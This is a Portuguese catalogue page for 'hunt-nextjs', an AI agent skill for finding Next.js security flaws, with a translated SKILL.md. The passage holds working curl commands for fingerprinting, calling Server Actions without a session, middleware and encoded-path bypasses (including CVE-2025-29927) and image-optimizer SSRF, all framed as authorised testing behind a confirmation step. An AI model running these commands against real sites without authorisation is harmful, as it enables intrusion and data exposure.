Pular para o conteúdo
Skillpedia
Sites e telas (frontend)48 mil · #3274

hunt-nextjs

Faz seu agente procurar por falhas específicas em sistemas Next.js. Útil para quem desenvolve ou testa aplicações web com Next.js.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança específicas em sites criados com Next.js, um framework popular para desenvolvimento web. Ela procura por vulnerabilidades que podem permitir acesso não autorizado ou controle sobre o servidor.

Quando usar

  • ✓Ao testar a segurança de um site Next.js.
  • ✓Para verificar se um site Next.js está protegido contra ataques conhecidos.
  • ✓Em avaliações de segurança autorizadas de aplicações Next.js.

Exemplo do que pedir para a IA

“Verifique vulnerabilidades de segurança no site example.com”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-nextjs/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-nextjs/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta analisa o código e as respostas do site para identificar padrões que indicam fraquezas. Ela tenta acessar áreas protegidas ou executar comandos que não deveriam ser possíveis.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill hunt-nextjs

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-nextjs/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

HUNT-NEXTJS — Vulnerabilidades do Framework Next.js / SSR

Alvos de Joias da Coroa

Bugs específicos do Next.js que contornam autenticação ou alcançam SSRF = Alto/Crítico.

Cadeias de maior valor:

  • Contorno de autenticação de Server Actions — Server Actions aplicam autenticação apenas no lado do cliente → chama o ID da ação diretamente → mutação ou exfiltração de dados não autorizada
  • Contorno de middleware via /_next/static/ — o middleware ignora caminhos de ativos estáticos → rotas protegidas acessíveis via IDOR /_next/data/
  • SSRF /_next/image — O otimizador de imagem busca um URL controlado pelo atacante → varredura de rede interna ou metadados da nuvem
  • Envenenamento de cache obsoleto de ISR — injeta conteúdo malicioso em uma página em cache que é servida a todos os usuários
  • Vazamento de payload de RSC — dados de voo do React Server Component contêm props do lado do servidor que não são para o cliente

Sinais de Superfície de Ataque

/_next/image?url=&w=&q=          Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame   Debug stack frame endpoint
/_next/static/chunks/            JS bundles — source map candidate
/api/                            API routes — standard hunt surface
__NEXT_DATA__ in HTML            SSR props leaked to client
x-nextjs-* response headers      Confirms Next.js

Fase 1 — Detecção de Impressão Digital e Versão

# Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"

# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"

# Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'

# Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5

Fase 2 — Abuso de Server Actions

# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null

# Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page \
  -H "Next-Action: ACTION_ID_HERE" \
  -H "Content-Type: multipart/form-data; boundary=----" \
  -H "Cookie: " \
  --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'

# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only

Fase 3 — Contorno de Autenticação de Middleware

# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible

# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"

# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"

# Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"

Contorno de middleware via x-middleware-subrequest (CVE-2025-29927)

O Next ignora completamente a execução do middleware quando este cabeçalho afirma uma subrequisição interna — contornando o middleware de autenticação/redirecionamento em rotas protegidas.


…
Perguntas frequentes

O que é Next.js?

Next.js é um framework popular para construir sites e aplicações web, conhecido por sua eficiência e recursos avançados.

O que são vulnerabilidades?

Vulnerabilidades são falhas de segurança em um sistema que podem ser exploradas por atacantes para obter acesso indevido, roubar informações ou causar danos.

Preciso de permissão para usar esta ferramenta?

Sim, você precisa de permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta, pois ela é destinada a fins educacionais ou avaliações de segurança autorizadas.

Detalhes

Descrição original do autor

Hunt Next.js specific vulnerabilities

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#3274
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas